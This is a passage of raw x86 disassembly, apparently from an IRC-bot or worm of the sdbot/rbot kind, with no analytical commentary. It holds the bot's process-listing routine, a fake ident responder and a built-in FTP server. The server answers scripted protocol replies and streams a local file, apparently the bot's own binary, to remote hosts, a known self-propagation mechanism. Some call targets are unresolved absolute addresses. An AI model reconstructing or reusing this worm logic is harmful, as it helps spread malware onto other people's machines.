eax, [esp+3Ch] push 10h push eax call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E760 proc near ; CODE XREF: sub_40161Dj var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E760 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018E8 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E8E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019C4 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014DD push eax mov ecx, edi call sub_40168B mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_40170D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014E2 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jz short loc_41E8E2 mov ebp, dword_5118D8 loc_41E86E: ; CODE XREF: sub_41E760+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017EE push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jnz short loc_41E86E loc_41E8E2: ; CODE XREF: sub_41E760+62j ; sub_41E760+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401825 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E8FA: ; CODE XREF: sub_41E760+37j lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E9EE push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014DD push eax push offset dword_445014 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E9EE: ; CODE XREF: sub_41E760+1ACj lea ecx, [edi+8Eh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016EA ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402162 add esp, 4 test al, al jz loc_41EB3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019C4 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B54 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_401465 mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EB3D mov ebx, dword_5118D8 loc_41EAD6: ; CODE XREF: sub_41E760+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017EE push eax push edi push offset dword_445008 mov ecx, ebp call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_401839 lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41EAD6 loc_41EB3D: ; CODE XREF: sub_41E760+2CFj ; sub_41E760+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EB55: ; CODE XREF: sub_41E760+2A3j lea ecx, [edi+0BCh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC4C push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017EE push eax call sub_401A0A add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014DD push eax push offset dword_445000 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EC4C: ; CODE XREF: sub_41E760+40Aj lea ecx, [edi+60h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41ED15 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41ED15 push ebx push offset dword_444FF4 lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 push ebx call sub_4018B6 add esp, 1Ch jmp short loc_41ED17 ; --------------------------------------------------------------------------- loc_41ED15: ; CODE XREF: sub_41E760+1F0j ; sub_41E760+44Ej ... xor al, al loc_41ED17: ; CODE XREF: sub_41E760+195j ; sub_41E760+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E760 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EEB0: ; CODE XREF: ___:loc_402004j push ebp mov ebp, esp push 0FFFFFFFFh push (offset asc_43C4EA+26h) mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_5118D8 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EEE0: ; CODE XREF: ___:0041EEF1j mov al, [esi+0ABh] test al, al jnz short loc_41EEF3 push 3E8h call edi jmp short loc_41EEE0 ; --------------------------------------------------------------------------- loc_41EEF3: ; CODE XREF: ___:0041EEE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_449287 call sub_401A41 lea edx, [ebp-14h] mov ecx, offset byte_4E8EAB push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EF19: ; DATA XREF: ___:loc_41EF2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EF2C: ; DATA XREF: ___:00442554o mov eax, offset loc_41EF19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF70 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FDC mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FDC mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FDC mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EF70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F030 proc near ; CODE XREF: sub_4020C7j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41F030 push eax mov eax, 19B4h mov large fs:0, esp call sub_437B30 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44965F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41F0B7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E8EAB push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0B7: ; CODE XREF: sub_41F030+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41F0E7 mov ecx, [edi+15h] push ecx nop call near ptr 71AB9639h lea edx, [esp+34h+var_28] mov ecx, offset byte_4E8EAB push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0E7: ; CODE XREF: sub_41F030+93j mov al, byte_4E8E54 test al, al jz loc_41F750 push ebx mov ebx, dword_511B14 push ebp mov ebp, dword_511CA0 loc_41F102: ; CODE XREF: sub_41F030+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F11D push 0FAh jmp loc_41F73B ; --------------------------------------------------------------------------- loc_41F11D: ; CODE XREF: sub_41F030+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F736 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx call near ptr 71AC0B50h nop mov eax, [esp+58h+var_34] test al, al jz loc_41F741 mov cl, byte_449DC8 test cl, cl jz short loc_41F1CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44965F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_449968 call sub_4014DD push eax push 0 push 0 push offset byte_4D8085 call sub_401857 add esp, 28h loc_41F1CF: ; CODE XREF: sub_41F030+14Ej lea ecx, [esp+58h+arg_0] call sub_40142E push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C71 push eax call sub_4015F5 add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014D3 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FDC mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401870 push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016B8 push offset asc_445090 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445090 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445090 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445090 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445090 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445090 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call near ptr word_5F67AE mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401AA0 add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017EE push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F695 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F695 push 2 push 0 push edi call near ptr 77C4139Ch nop push edi call near ptr 77C41574h nop push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F5C0: ; CODE XREF: sub_41F030+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax nop call near ptr 77C411FBh mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F613 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp cmp edi, 1000h jz short loc_41F5C0 loc_41F613: ; CODE XREF: sub_41F030+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_449DC8 test cl, cl mov eax, edx jz short loc_41F67C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_449968 call sub_4014DD push eax push 0 push 0 push offset byte_4D8085 call sub_401857 add esp, 2Ch loc_41F67C: ; CODE XREF: sub_41F030+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx nop call near ptr 71AB9639h loc_41F695: ; CODE XREF: sub_41F030+55Bj ; sub_41F030+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp push esi call near ptr 71AB9639h nop lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F736: ; CODE XREF: sub_41F030+109j push 9C4h loc_41F73B: ; CODE XREF: sub_41F030+E8j nop call near ptr 2831CE8h loc_41F741: ; CODE XREF: sub_41F030+140j mov al, byte_4E8E54 test al, al jnz loc_41F102 pop ebp pop ebx loc_41F750: ; CODE XREF: sub_41F030+BEj mov eax, [edi+15h] push eax call near ptr 71AB9639h nop loc_41F75A: ; CODE XREF: sub_41F030+82j ; sub_41F030+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41F030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F960 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F960 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F99D mov byte_4E8EA9, 0 jmp loc_41FB01 ; --------------------------------------------------------------------------- loc_41F99D: ; CODE XREF: sub_41F960+2Fj mov cl, byte_44928B xor ebx, ebx cmp cl, bl mov byte_4E8EA9, 1 jnz loc_41FAF4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_402009 mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41FAE7 push edi lea ecx, [esp+0A0h+var_7C] call sub_40142E mov [esp+0A0h+var_4], ebx call sub_401F0A mov esi, dword_511AC8 call esi cdq mov ecx, 3 push offset byte_448F40 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015E1 cmp edi, ebx jle short loc_41FA66 loc_41FA0A: ; CODE XREF: sub_41F960+104j lea ecx, [esp+9Ch+var_60] call sub_40142E lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FDC call esi cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+0A4h+var_78] push offset dword_444E6C push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41FA0A loc_41FA66: ; CODE XREF: sub_41F960+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_401479 mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017EE push eax push 71h call esi cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx call near ptr word_5F67AE nop add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp call near ptr 71AB428Ah nop mov esi, dword_511C9C push ebp call esi lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi mov byte_4E8EA9, bl pop edi jmp short loc_41FAFE ; --------------------------------------------------------------------------- loc_41FAE7: ; CODE XREF: sub_41F960+67j push 7D0h nop call near ptr 2831CE8h jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F960+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_511C9C loc_41FAFE: ; CODE XREF: sub_41F960+185j push ebp call esi loc_41FB01: ; CODE XREF: sub_41F960+38j ; sub_41F960+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F960 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FB90 proc near ; CODE XREF: sub_401AD2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FBCB dec eax jz short loc_41FBB4 dec eax jnz short loc_41FBF1 mov ecx, dword_50DB38 mov dword_50DB1C, 4 call sub_401DE3 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBB4: ; CODE XREF: sub_41FB90+8j mov ecx, dword_50DB38 mov dword_50DB1C, 7 call sub_401028 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBCB: ; CODE XREF: sub_41FB90+5j mov ecx, dword_50DB38 xor eax, eax mov dword_50DB24, eax mov dword_50DB1C, 1 mov dword_50DB2C, eax mov dword_50DB30, eax call sub_40174E loc_41FBF1: ; CODE XREF: sub_41FB90+Bj ; sub_41FB90+22j ... mov eax, dword_50DB3C push offset dword_50DB18 push eax mov dword_50DB1C, 4 nop call near ptr 290083Eh retn 4 